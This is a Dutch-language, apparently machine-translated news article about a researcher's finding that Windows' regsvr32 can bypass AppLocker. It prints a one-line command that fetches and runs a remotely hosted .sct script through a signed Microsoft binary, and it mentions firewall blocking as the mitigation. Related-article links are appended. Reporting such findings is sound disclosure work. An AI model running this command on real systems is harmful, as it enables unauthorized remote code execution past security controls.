Regsvr32 kan worden gebruikt om applocker op Windows 10 te omzeilen
Video: Regsvr32 Disable in Windows 10 Regsvr32.exe 2024
Een onderzoeker uit Colorado die de naam draagt, Casey Smith, heeft ontdekt dat Regsvr32 kan worden gebruikt om AppLocker op Windows 10 te omzeilen, en dit is een groot probleem voor computergebruikers, met name in de zakelijke omgeving.
AppLocker werd voor het eerst geïntroduceerd in Windows 7 en Windows Server 2008 R2. Het is ontworpen om beheerders in staat te stellen te specificeren welke groep of gebruikers kunnen profiteren van sommige of alle applicaties op basis van de unieke identiteit van bestanden. Als u een persoon bent die AppLocker gebruikt, moet het algemeen bekend zijn dat het kan worden gebruikt om bepaalde regels te maken waarmee toepassingen kunnen worden uitgevoerd of gestopt in hun tracks.
Voor degenen die misschien niet op de hoogte zijn, kan Regvr32 worden gebruikt om DLL's te registreren en afmelden. Dit is geen tool met één klik, omdat het een opdrachtregelprogramma is, dus alleen geavanceerde computergebruikers moeten proberen te profiteren van wat het te bieden heeft.
We begrijpen dat door deze techniek het register van het computersysteem niet wordt gewijzigd, waardoor het voor beheerders moeilijk is om te weten of er wijzigingen zijn aangebracht.
regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll
“Het verbazingwekkende hier is dat regsvr32 al proxybewust is, TLS gebruikt, omleidingen volgt, enz. … En … je raadt een ondertekende standaard MS-binary. Het enige wat u hoeft te doen is uw.sct-bestand te hosten op een locatie die u zelf beheert, 'schreef Smith.
Voor de bovenstaande techniek zijn geen beheerdersrechten vereist en wordt het register niet gewijzigd. Bovendien kunnen de scripts via HTTP of HTTPS worden aangeroepen. Op dit moment heeft Microsoft geen patch uitgebracht voor dit kleine probleem, dus de enige optie op dit moment is om Regsvr32 te blokkeren via de Windows Firewall.
Interessant genoeg moet de softwaregigant nog reageren op dit beveiligingsprobleem waarmee zijn besturingssysteem wordt geconfronteerd. Nu het in de openbaarheid is, verwachten we iets van het bedrijf te horen, samen met gesprekken over een toekomstige patch.
Oplossing: deze productsleutel kan niet worden gebruikt om een kleinhandelskopie van Windows te installeren
Deze gids voor probleemoplossing laat u zien hoe u het foutbericht 'Deze productcode kan niet worden gebruikt om een kleinhandelskopie van Windows te installeren' verwijderen.
Fix: 'die sleutel kan niet worden gebruikt om deze versie van Windows error te activeren
Als u een van de Windows 8-gebruikers bent die probeert het besturingssysteem te installeren en u krijgt de melding "Die sleutel kan niet worden gebruikt om deze versie van Windows te activeren", dan is deze zelfstudie speciaal voor u gemaakt. Voor meer informatie over deze kwestie en hoe u dit kunt oplossen ...
Hoe het te omzeilen lijkt het erop dat iemand anders uw accountbericht gebruikt
Soms kunt u zich mogelijk niet aanmelden bij uw account en ziet u dat het lijkt alsof iemand anders uw accountfoutmelding gebruikt. Dit probleem kan van invloed zijn op uw e-mail, Skype en Xbox-account, dus vandaag laten we u zien hoe u dit probleem kunt oplossen op Windows 10. Hoe te omzeilen ...